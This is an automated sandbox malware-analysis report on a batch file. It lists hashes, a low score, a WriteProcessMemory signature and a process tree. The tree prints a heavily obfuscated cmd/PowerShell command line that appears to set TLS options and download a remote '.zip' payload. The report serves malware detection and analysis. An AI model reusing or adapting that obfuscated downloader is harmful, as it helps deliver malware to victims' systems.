Analysis

  • max time kernel
    134s
  • max time network
    136s
  • platform
    windows10-1703_x64
  • resource
    win10-20240404-en
  • resource tags

    arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
  • submitted
    10-10-2024 02:00

General

  • Target

    1[1].bat

  • Size

    322KB

  • MD5

    2ebd449588b16be3eb3dbd71b04fa73b

  • SHA1

    c8e825f5d253a1b1a6bc4a1e46f5704e7304f52b

  • SHA256

    16591274e9ec8cfc4ede4d57b84e678f92d82190257f8a17dd69e28075165b25

  • SHA512

    82d3b6e9488ebec7afaee7c13e61150bce46c8f9dfc6a5f4dadd2843933c507035f8664893d8f97ae20a3f3c13ea1f6a3233ca9c1a1dbe67058d26c601b4ece2

  • SSDEEP

    6144:yjtmZrkbw+jOQ69lq2YnECD6C+0uyFDXJwEgvih40ZoQ5L:4AaN78wE86guqXJdgKbZoQF

Score
1/10

Malware Config

Signatures

  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\1[1].bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3376
    • C:\Windows\system32\chcp.com
      chcp 65001
      2⤵
        PID:2512
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo [Net.ServicePointManager]::SecurityPro~36, 1%z%z(IVOH%n%j,cjfyE%z%yLIcQSX%w%q?VIWDeEg]joSYzOIXS%Y1%AMhmd$%p%(z]#pJB%e%B])rIxRWmL%D1%lA(#,%p%RRusSA%n%_ktBW[%PUblIc:~-5, 1%c%#)KV$vk%PROgrAmFiLES:~12, 1%e%oh?nNFs%j%yxSffu]%A1%X]sNSh%c%,HtUpO%z%yLxwKRP%e%kUryy%z%TnExC#b%n%k#D(t%z%Uq)Zqc%w%V_Sjd%E1%_KBYDAI%j%i(LhG%a%rGGPJcG%p%xNdut]BwfNHoAjbiqvPgTW%E1%Tr)]Z%w%UHuqAv%d%[nnlyC2; (New-Object -TypeName S~-26, 1%d%mivCUs(%e%G[BW#l%p%E]Jf,N%x%NRdENBk#ilmH%Y1%vtCTO%p%?el#k%e%p]IKMv#cpbv%H1%mM]OSlO%KDOT:~45,1%m%KK_Coh%N1%]j_XM%w%yNrUZHm%CoMmONPROgRAmFILES(x86):~-4, 1%p%vaZCy%y%bCesHb%e%pN]k)rH(dBR#VCbTgm%DRIverdATa:~-4, 1%z%cyS$tea%h%q(KRhHC%y%hP?e[Z#%w%CODKb%z%?NPWaJF%l%Ehj#f%o%kqhmc%Q1%_aUBsgk%t%?iqIh%w%VvII]%p%TK]EZo$WpX(CZjFmnzc%s%H$iuPq%e%cOi,)Y%e%TGBkr%a%N$hrsap%d%AUxupDNlAKZdU$w))TF,HTLUQ%e%,]Sakt?%g%ywyw[Lb%o%uuRdd%d%g#?Zu%p%OY[d[(%z%$,AXLL#tpQns%n%)vttPur%z%i]A]Zgv%x%Z]cOCKGPpEdd%h%]gews%a%kJzNDxUu_QtWS%n%[gu,s%z%m)enn%y%Q#,$hZ?%e%,klV(v%KDOT:~45,1%y%uVv)Fp%e%EGYX_pI,Xv)ql%n%nIWut,%l%j$KQ]%n%xxM[oe%s%MiMT[c(%p%ymumDx$wPqxz%h%wdPASSF%a%]B]_cKp,YxeE%c%B?m]QC%z%HCGlO%n%_E#wdO%v%(,]?X%p%Xyuui?L%e%oGWpAyul$?Hkq%d%cuDrea%j%IIdsYtP%y%RaMoas%l%tvURf$%a%fWkPAZy%e%Jgsie%t%JLxYfx%n%#dR]a%d%sJgNsNhatH$m%k%)YFuU%t%j$zLb%a%b]cTtTaNK_l_oDbWouCiiqeVq%D1%PxjMz%j%ANQcI%d%Za)Nku%e%juseDu%p%jZKnpMG%tEmP:~-2, 1#ptStlo%T1%sjLc)p%Z1%YDzWQLBajlbXb%A1%NfUIC%l%VgHna_Z%e%OO[oAN%s%ANi#C(ogS](,A]E(yLag[f%R1%obsevn%p%)quvVg%e%GdmkA%E1%L_#Ub%p%lDgLB%x%[(VqAl%a%RtPj,X%A1%W]NumN%l%NCTju%e%ibysL?%s%qfLxfV_)NHxARybgTCyNkJ#K)v)UBGQ%N1%txwbofo%l%ohrOcgT%F1%KnaOza%COMMoNprOgrAmfiLeS(x86):~-23, 1sZ7lZ.zip') "
        2⤵
          PID:812

      Network

      MITRE ATT&CK Matrix

      Replay Monitor

      Loading Replay Monitor...

      Downloads